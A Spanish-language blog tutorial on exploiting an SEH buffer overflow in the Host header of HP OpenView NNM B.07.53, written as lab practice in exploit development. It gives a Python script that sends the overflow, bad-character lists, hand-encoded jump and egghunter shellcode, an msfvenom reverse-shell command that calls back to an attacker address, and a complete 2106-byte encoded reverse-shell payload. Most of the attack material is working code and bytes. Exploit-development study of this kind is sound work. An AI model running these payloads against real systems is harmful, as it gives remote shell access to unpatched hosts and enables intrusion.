Jugando con Openview NNM

Published on:

Introducción

La explotación de HP OpenView NNM B.07.53 es un buen ejercicio para practicar exploiting con limitación de caracteres, de hecho tienes que crear un "encoder" manualmente debido a esas restricciones. También es útil para practicar el concepto de "egghunter". Una buena mezcla para que te explote la cabeza y sólo veas valores hexadecimales al final del ejercicio.

Partiendo de este gran tutorial del crack "greyshell", y que es necesario leer para seguir este artículo, intentaré dos maneras diferentes de explotar este "bug":
https://greyshell.github.io/blog/2016/11/07/hpnmm-exploit/

En este tutorial el bueno de "greyshell" al final del todo tiene que volver al principio del buffer para poner codificada la "bind_shell" y hacer un salto desde el "egghunter" a esa shell. Pero me surgen dos preguntas ante esta solución:

  • Si tienes que volver atrás en el buffer, ¿para qué codificar el "egghunter"? ¿No bastaría con hacer un codigo ensamblador con un salto hacía atrás y codificarlo? La respuesta a esto es sí e intentaré explicarlo en la Solución 1.
  • Y la otra pregunta es ¿realmente no hay espacio suficiente al final del buffer para meter la shell sin necesidad de volver hacia atrás y así aprovechar realmente el "egghunter" codificado?. Al contrario de lo que piensa "greyshell", y usando un método manual para crear el "encoder", sí que hay espacio suficiente para poner la shell al final del buffer. Está un poco ajustado, pero entra y sin la limitación de la restricción de caracteres. Al menos a mi me funciona con la versión HP OpenView NNM - B.07.53. Sé también de buena tinta que la versión B.07.50 hay hueco de sobra porque no tiene limitacion de caracteres en la parte final del buffer. Intentaré explicar esto en la Solución 2.

Configuración del laboratorio

Esto es lo que he usado para montar el laboratorio:

Una vez que tienes las máquinas virtuales creadas en el mismo segmento de red es hora de probar el exploit. Es interesante hacer fuzzing para llegar a descubrir el "crash". Yo este paso no lo voy a explicar aquí, empezaré directamente con el exploit en python. https://www.exploit-db.com/exploits/5342

Estudio del crash

Vamos a ir rápido en este apartado porque ya hay una guia estupenda en el enlace de "greyshell" donde podeís seguir paso a paso el proceso. Quiero centrarme en las diferencias con esa guia. Utilizando la técnica del "pattern", vemos que el programa hace "crash" en la posición 3309, al menos en mi laboratorio:

# [*] Exact match at offset 3309

Y de esta manera ya tenemos el control del EIP mediante el clásico SEH:

#!/usr/bin/python


import socket
import sys
import os

# [*] Exact match at offset 3309

crash = "A" * 3309 + "\x42\x42\x42\x42" 

buffer="GET /topology/home HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Connection: keep-alive\r\n\r\n"

print "[**] Sending poison HTTP request to NNMz"

try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.11.17", 7510))
expl.send(buffer)
expl.close()

Ahora buscamos una posición de memoria donde encontrar los "gadgets" POP POP RET para saltar a nuestro buffer que vamos a rellenar por detras de "C", concretamente 500:

crash = "A" * 3309 + "\x7d\x39\x6e\x6d" + "C" * 500

Si echamos un vistazo a nuestro buffer en la memoria vemos que han cabido las 500 C's que hemos puesto detrás:


Y aquí está lo curioso del asunto, si ponemos 600 C´s el exploit no funciona. Por lo que ajustando la cantidad de C´s al final del buffer vemos que el número máximo de bytes que podemos poner es de 567. Es decir si el buffer ocupa más de 3880 (3309 + 4 + 567) bytes, no va a funcionar.

crash = "A" * 3309 + "\x7d\x39\x6e\x6d" + "C" * 567

Llegados a este punto tenemos dos soluciones:

  • la solución 1 en la que hay que codificar un salto hacia atrás en el buffer con su correspondiente ajuste de pila y así poder volver dónde están las 3309 A's del principio.
  • la solución 2 donde metemos el "egghunter" codificado en la primera parte del buffer y luego añadimos al final del GET el espacio necesario para mandar a otra parte de la memoria nuestro "reverse shell", eso sí, precedido por nuestra palabra mágica(T00WT00W) para que así lo puede encontrar el "egghunter".
    En esta solución el "chunk1" y el "chunk2" están directamente relacionados por la limitación a 567 bytes, ya que el espacio que pongamos a uno se lo quitamos al otro y viceversa.

Respecto a los "bad characters", en la guia de referencia lo explica perfectamente. Aquí tenéis todo lo necesario para detectarlos:
https://github.com/greyshell/Penetration-Test/tree/master/badchar_detection_automated
Esta es la lista de badhcars que me sale:

badchars: \x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
goodchars: \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f

Lo que sí vamos a explicar brevemente es como llegamos a nuestro buffer lleno de C's después de tener el control del SEH. Se trata de introducir un salto de 4 bytes para saltar la dirección que apunta a los "gadgets" POP POP RET. En la imagen de arriba de la memoria se ve claramente como para pasar del valor 41 (A's) al valor 43 (C's) hay que saltar 4 bytes. Para ello necesitamos un opcode de salto que esté dentro de los "goodchars". La instrucción JA que tiene el opcode 77 es un buen candidato. Teniendo en cuenta esto, echemos un vistazo como sería el código:


Teniendo en cuenta la definición de JA: Jump short if above (CF=0 and ZF=0)
ZF va a ser siempre 0 a no ser que tengamos la mala suerte de que ECX=FFFFFFFE (-2)
CF va a ser siempre 0 ya que "INC ECX" no genera carry.
Por lo tanto, ya tenemos el salto que queríamos sin usar "bad characters".

crash = "A" * 3307 + "\x77\x04" + "\x7d\x39\x6e\x6d" + "C" * 567

Ya tenemos el EIP dentro de nuestro buffer, que es lo que queríamos, ahora detallaremos cada una de las soluciones.

Solución 1

En esta solución vamos a tener que saltar hacia atrás utilizando instrucciones que tengan opcodes válidos dentro de los caracteres permitidos. El problema que nos surge aquí es que el opcode(EB) del JMP incodicional no está dentro de los caracteres permitidos, por lo que tendremos que codificar esta funcion con caracteres válidos y hacer que se decodifique en tiempo de ejecución. Como estamos ejecutando el código en la pila, es necesario desplazar el ESP unas posiciones más abajo (en nuestro caso 0x64 bytes) de tal manera que las instrucciones decodificadas queden por debajo de nuestro código codificado. Es decir tendremos que mover el ESP 0x64 posiciones más abajo del EIP. Si nos fijamos en el momento del "crash" el valor del EIP y el contenido de la primera posición de la pila coincide, EIP=[ESP]:


Aprovechando esto, podemos guardar el valor del EIP en el registro EBX, de esta manera podremos usarlo más tarde para sumarle 0x64 bytes al ESP y así apuntar a un lugar por donde va a pasar el EIP:

5B               POP EBX                                 
53               PUSH EBX
04 64            ADD AL,64
030424           ADD EAX,[ESP]
50               PUSH EAX
5C               POP ESP
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E

Las dos últimas instrucciones se usan para poner a 0 el registro EAX usando caracteres válidos. Una vez que tenemos desplazado el ESP 0x64 bytes más abajo del EIP es hora de codificar el salto hacia atrás de 3072 (0x0C00) bytes. Estas serían las instrucciones que queremos codificar:

42               INC EDX
80C4 0C          ADD AH,0C
2BD8             SUB EBX,EAX
FFE3             JMP EBX

Para codificar estas instrucciones, utilizamos la técnica del complemento a 2, que está muy bien explicada en este enlace:
http://www.negation.net/papers/encoding_shellcode\
Estas son mis notas de las operaciones, tener en cuenta que a diferencia de la solución de "greyshell", donde tenia que codificar 32 bytes, aquí sólo hay que codificar 8 bytes:

Valores hexadecimal de las instrucciones dividas en 4 bytes:
4280C40C
2BD8FFE3

Cogemos los últimos 4 bytes y los ponemos al reves (little endian):
E3FFD82B

gdb-peda$ print /x 0xFFFFFFFF - 0xE3FFD82B + 1
$1 = 0x1c0027d5
gdb-peda$ print /x 0x1c0027d5 - 0x017f0177
$2 = 0x1a81265e
gdb-peda$ print /x 0x1a81265e - 0x01060101
$3 = 0x197b255d
gdb-peda$ print /x 0x0000000 - 0x017f0177 - 0x01060101 - 0x197b255d
$4 = 0xe3ffd82b

Instrucciones codificadas:
SUB EAX,0x017f0177
SUB EAX,0x01060101
SUB EAX,0x197b255d
PUSH EAX

Cogemos los siguientes 4 bytes y los ponemos al reves (little endian):
0CC48042

gdb-peda$ print /x 0xFFFFFFFF - 0x0CC48042 + 1
$5 = 0xf33b7fbe
gdb-peda$ print /x 0xf33b7fbe - 0x7f020155
$6 = 0x74397e69
gdb-peda$ print /x 0x0000000 - 0x7f020155 - 0x74397e69
$1 = 0xcc48042

Instrucciones codificadas:
SUB EAX,0x7f020155
SUB EAX,0x74397e69
PUSH EAX

Ahora incluimos los EAX=0 que necesitamos y este sería el código codificado usando sólo caracteres autorizados:

2D 77017F01      SUB EAX,17F0177
2D 01010601      SUB EAX,1060101
2D 5D257B19      SUB EAX,197B255D
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 5501027F      SUB EAX,7F020155
2D 697E3974      SUB EAX,74397E69
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E

Y estos serían los valores hexadecimales incluyendo también la suma de 0x64 bytes al ESP:

# 66 bytes

jump1 = "\x5B\x53\x04\x64\x03\x04\x24\x50\x5C\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x77\x01\x7F\x01\x2D\x01\x01\x06\x01\x2D\x5D\x25\x7B\x19\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x55\x01\x02\x7F\x2D\x69\x7E\x39\x74\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E"

Y aquí el buffer "crash" modificado con los nuevos valores:

crash = "A" * 3307 + "\x77\x04" + "\x7d\x39\x6e\x6d" + jump1 + "B" * 501

Pregunta sencillita, ¿por qué esta vez he puesto B's al final del buffer en vez de las C's?

Ahora que ya hemos realizado nuestro salto de 3072 bytes y estamos al principio del buffer de las A's, tenemos que codificar la reverse_shell para evitar los "bad characters". Creamos una reverse_shell con metasploit:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.11.18 LPORT=443 -a x86 --platform windows -f hex

Y para codificarla, echamos mano otra vez de "greyshell" y de este script que tiene en su github:
https://github.com/greyshell/Penetration-Test/tree/master/alpha_num_encoder
He hecho una modificación de este script (típica "chapu" de las mías) en la que se puede ahorrar bytes a la hora de codificar, viene bien por si tienes poco espacio:
https://github.com/g4ngli0s/scripts/blob/master/alphanumenc_save.py
O también se puede hacer directamente con mona:

!mona encode ascii -t alphanum -b 'lista de badchars' -s valor_hexadecimal_del_rev_shell

Ejecutando el script nos da un resultado muy extenso que no voy a poner aquí, sólo lo que ocupa en bytes:

python alphaNumEncoder.py
...
[+++++] Length: 2106

Pero antes también tenemos que tener en cuenta el ESP, no nos podemos olvidar que está apuntando a la parte de las B's y con el salto hacia atrás lo tenemos que mover hacia las A's para que a la hora de ejecutarse el codificador del reverse_shell lo descodifique en la parte baja del buffer de las A's (que a partir de ahora llenaremos de C's para diferenciarlo). Para ello tenemos que incluir el codigo que nos permita mover el ESP hacia atrás, para ello vamos a restar 252 (0xFC) bytes al ESP con opcodes que tengan caracteres permitidos:

25 31313131  and eax,31313131 
25 4E4E4E4E  and eax,4E4E4E4E 
2D 017F7F7F  sub eax,7F7F7F01 
2D 01090909  sub eax,9090901 
2D 02777777  sub eax,77777702 
50           push eax 
54           push esp 
58           pop eax 
2B0424       sub eax,dword ptr ss:[esp] 
50           push eax 
5C           pop esp 

Este es el valor hexadecimal de este ajuste del ESP:

#33 bytes

adjustESP = "\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x01\x7F\x7F\x7F\x2D\x01\x09\x09\x09\x2D\x02\x77\x77\x77\x50\x54\x58\x2B\x04\x24\x50\x5C"

Este es el valor hexadecimal del reverse_shell codificado:

#2106 bytes

revshellcod = "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x38\x55\x63\x2d\x55\x38\x55\x63\x2d\x56\x3c\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x2e\x30\x31\x2d\x4f\x2e\x30\x31\x2d\x4f\x31\x30\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x53\x6c\x3d\x2d\x2d\x53\x6c\x3d\x2d\x31\x54\x6c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x52\x2a\x56\x5f\x2d\x52\x2a\x56\x5f\x2d\x52\x2b\x58\x60\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x3e\x53\x2b\x2d\x63\x3e\x53\x2b\x2d\x65\x46\x53\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x23\x6b\x20\x55\x2d\x23\x6b\x20\x55\x2d\x25\x6c\x21\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x74\x38\x32\x73\x2d\x74\x38\x32\x73\x2d\x76\x38\x33\x73\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x6b\x5a\x6d\x2d\x63\x6b\x5a\x6d\x2d\x65\x6d\x5a\x6f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x4b\x35\x55\x2d\x28\x4b\x35\x55\x2d\x29\x4c\x35\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x44\x32\x52\x2d\x55\x44\x32\x52\x2d\x57\x46\x33\x53\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x39\x38\x3c\x2d\x60\x39\x38\x3c\x2d\x60\x3e\x39\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x55\x63\x27\x2d\x28\x55\x63\x27\x2d\x2a\x56\x63\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x2c\x66\x3e\x2d\x32\x2c\x66\x3e\x2d\x34\x2e\x67\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x38\x38\x38\x2d\x37\x38\x38\x38\x2d\x3c\x39\x3c\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x3c\x38\x3b\x2d\x37\x3c\x38\x3b\x2d\x3c\x41\x39\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x39\x38\x38\x2d\x38\x39\x38\x38\x2d\x3c\x3d\x39\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x68\x54\x3d\x2d\x50\x68\x54\x3d\x2d\x50\x69\x56\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x26\x3d\x49\x2d\x55\x26\x3d\x49\x2d\x55\x26\x41\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3d\x49\x41\x54\x2d\x3d\x49\x41\x54\x2d\x42\x49\x41\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x55\x32\x68\x2d\x5f\x55\x32\x68\x2d\x60\x57\x34\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x38\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x38\x44\x58\x2d\x38\x38\x44\x58\x2d\x39\x38\x46\x59\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x27\x5e\x37\x2d\x55\x27\x5e\x37\x2d\x56\x28\x60\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x34\x30\x33\x2d\x32\x34\x30\x33\x2d\x34\x34\x32\x35\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x74\x38\x55\x63\x2d\x74\x38\x55\x63\x2d\x76\x38\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5c\x32\x5a\x6d\x2d\x5c\x32\x5a\x6d\x2d\x5c\x32\x5b\x6f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x39\x52\x2e\x2d\x55\x39\x52\x2e\x2d\x57\x3e\x53\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x29\x6a\x2e\x51\x2d\x29\x6a\x2e\x51\x2d\x29\x6b\x2e\x51\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x34\x55\x63\x2d\x2e\x34\x55\x63\x2d\x30\x36\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x32\x22\x73\x2d\x38\x32\x22\x73\x2d\x39\x33\x22\x74\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x31\x4f\x38\x2d\x5e\x31\x4f\x38\x2d\x5e\x32\x51\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x54\x6c\x27\x2d\x55\x54\x6c\x27\x2d\x56\x56\x6c\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x51\x4f\x32\x54\x2d\x51\x4f\x32\x54\x2d\x53\x4f\x33\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x53\x32\x6a\x72\x2d\x53\x32\x6a\x72\x2d\x55\x33\x6b\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x63\x22\x31\x2d\x55\x63\x22\x31\x2d\x57\x63\x23\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5c\x4f\x60\x5f\x2d\x5c\x4f\x60\x5f\x2d\x5e\x51\x60\x60\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x3e\x39\x32\x2d\x39\x3e\x39\x32\x2d\x3e\x43\x3d\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x39\x39\x3e\x2d\x39\x39\x39\x3e\x2d\x3e\x3d\x3d\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x63\x39\x2d\x55\x55\x63\x39\x2d\x56\x56\x63\x3c\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x47\x2a\x31\x2d\x32\x47\x2a\x31\x2d\x34\x48\x2b\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x69\x37\x39\x2d\x47\x69\x37\x39\x2d\x49\x69\x3c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25\x54\x55\x55\x2d\x25\x54\x55\x55\x2d\x26\x56\x55\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x53\x55\x63\x6c\x2d\x53\x55\x63\x6c\x2d\x53\x56\x63\x6e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x3b\x2d\x48\x2d\x32\x3b\x2d\x48\x2d\x34\x3d\x2e\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x44\x35\x39\x2d\x2e\x44\x35\x39\x2d\x31\x45\x36\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x32\x2d\x2d\x55\x55\x32\x2d\x2d\x56\x55\x33\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x36\x32\x44\x44\x2d\x36\x32\x44\x44\x2d\x37\x33\x44\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x4f\x5c\x25\x2d\x27\x4f\x5c\x25\x2d\x27\x4f\x5c\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x35\x35\x37\x2d\x60\x35\x35\x37\x2d\x60\x35\x36\x37\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x37\x39\x55\x2d\x37\x37\x39\x55\x2d\x39\x37\x3c\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x36\x36\x34\x2d\x49\x36\x36\x34\x2d\x4a\x38\x38\x36\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x65\x27\x3d\x49\x2d\x65\x27\x3d\x49\x2d\x66\x27\x41\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x53\x26\x54\x2d\x27\x53\x26\x54\x2d\x27\x55\x28\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x4b\x54\x64\x2d\x38\x4b\x54\x64\x2d\x38\x4d\x56\x64\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x51\x3c\x26\x2d\x27\x51\x3c\x26\x2d\x27\x51\x3c\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x54\x64\x32\x2d\x49\x54\x64\x32\x2d\x4a\x56\x64\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x37\x26\x37\x2d\x5e\x37\x26\x37\x2d\x60\x38\x28\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x2b\x49\x2e\x2d\x41\x2b\x49\x2e\x2d\x43\x2c\x49\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x58\x53\x2b\x57\x2d\x58\x53\x2b\x57\x2d\x5a\x55\x2c\x59\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x68\x42\x5f\x2c\x2d\x68\x42\x5f\x2c\x2d\x69\x42\x61\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6a\x65\x50\x54\x2d\x6a\x65\x50\x54\x2d\x6b\x65\x51\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x44\x55\x70\x2d\x63\x44\x55\x70\x2d\x64\x45\x56\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x43\x26\x54\x2d\x27\x43\x26\x54\x2d\x27\x45\x28\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4d\x5e\x41\x3c\x2d\x4d\x5e\x41\x3c\x2d\x4e\x60\x42\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x64\x26\x3c\x2d\x55\x64\x26\x3c\x2d\x55\x64\x27\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x26\x37\x4a\x2d\x39\x26\x37\x4a\x2d\x3d\x28\x38\x4b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x3c\x54\x64\x2d\x5f\x3c\x54\x64\x2d\x5f\x3e\x56\x66\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x3b\x4f\x2d\x2d\x27\x3b\x4f\x2d\x2d\x27\x3d\x50\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x26\x3c\x41\x2d\x50\x26\x3c\x41\x2d\x50\x28\x3d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x38\x26\x39\x2d\x39\x38\x26\x39\x2d\x3c\x38\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x68\x5e\x59\x2d\x55\x68\x5e\x59\x2d\x55\x68\x60\x5a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4a\x6a\x65\x50\x2d\x4a\x6a\x65\x50\x2d\x4c\x6a\x65\x51\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x2b\x54\x46\x2d\x35\x2b\x54\x46\x2d\x35\x2d\x55\x47\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x55\x70\x3e\x2d\x45\x55\x70\x3e\x2d\x45\x56\x72\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x6d\x3c\x48\x2d\x50\x6d\x3c\x48\x2d\x51\x6e\x3c\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4e\x26\x2e\x47\x2d\x4e\x26\x2e\x47\x2d\x50\x28\x31\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x51\x26\x39\x2d\x39\x51\x26\x39\x2d\x3c\x51\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x39\x45\x26\x2d\x27\x39\x45\x26\x2d\x27\x3d\x45\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x44\x6a\x33\x2d\x5e\x44\x6a\x33\x2d\x5f\x45\x6b\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x35\x27\x2d\x55\x55\x35\x27\x2d\x56\x55\x35\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x5c\x29\x55\x2d\x56\x5c\x29\x55\x2d\x58\x5e\x2a\x55\x50"

Y por último el valor del buffer "crash" con todos los ajustes:

crash = "A" * 307 + adjustESP + revshellcod + "C" * 861 + "\x77\x04" + "\x7d\x39\x6e\x6d" + jump1 + "B" * 501

Y aquí la shell final en todo su esplendor:

Solución 2

Para esta segunda solución recordemos que sólo tenemos 567 bytes. Por lo tanto lo primero que hay que tener en cuenta es cuanto nos va a ocupar el "egghunter" codificado en el buffer (chunk1). Ahora se trata de codificar los 32 bytes que ocupa el "egghunter".
Dividimos los valores hexadecimales del "egghunter" en 8 conjuntos de 4 bytes:

\x66\x81\xca\xff
\x0f\x42\x52\x6a
\x02\x58\xcd\x2e
\x3c\x05\x5a\x74
\xef\xb8\x54\x30
\x30\x57\x8b\xfa
\xaf\x75\xea\xaf
\x75\xe7\xff\xe7

Invertimos los valores (little indian) y los colocamos de arriba a abajo:

6681CAFF
0F42526A
0258CD2E
3C055A74
EFB85430
305789D7
AF75EAAF
75E7FFE7

Y ahora utilizando el método manual del complemento a 2, tal como hemos hecho en la solución anterior, tenemos la siguiente codificación:

25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 1A017F01      SUB EAX,17F011A
2D 03020B01      SUB EAX,10B0203
2D 6E157615      SUB EAX,1576156E
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 010B0502      SUB EAX,2050B01
2D 507F104E      SUB EAX,4E107F50
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 6A430402      SUB EAX,204436A
2D 66657226      SUB EAX,26726566
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 01024252      SUB EAX,52420201
2D 1045697D      SUB EAX,7D694510
50               PUSH EAX
68 3C055A74      PUSH 745A053C
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 7F43027C      SUB EAX,7C02437F
2D 7F643055      SUB EAX,5530647F
50               PUSH EAX
68 0F42526A      PUSH 6A52420F
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 216E017F      SUB EAX,7F016E21
2D 0201045A      SUB EAX,5A040102                        
2D 770F3027      SUB EAX,27300F77
50               PUSH EAX

Esto hace un total de 146 bytes para el "egghunter" codificado y para no pillarnos los dedos reservamos 206 bytes para el "chunk1".
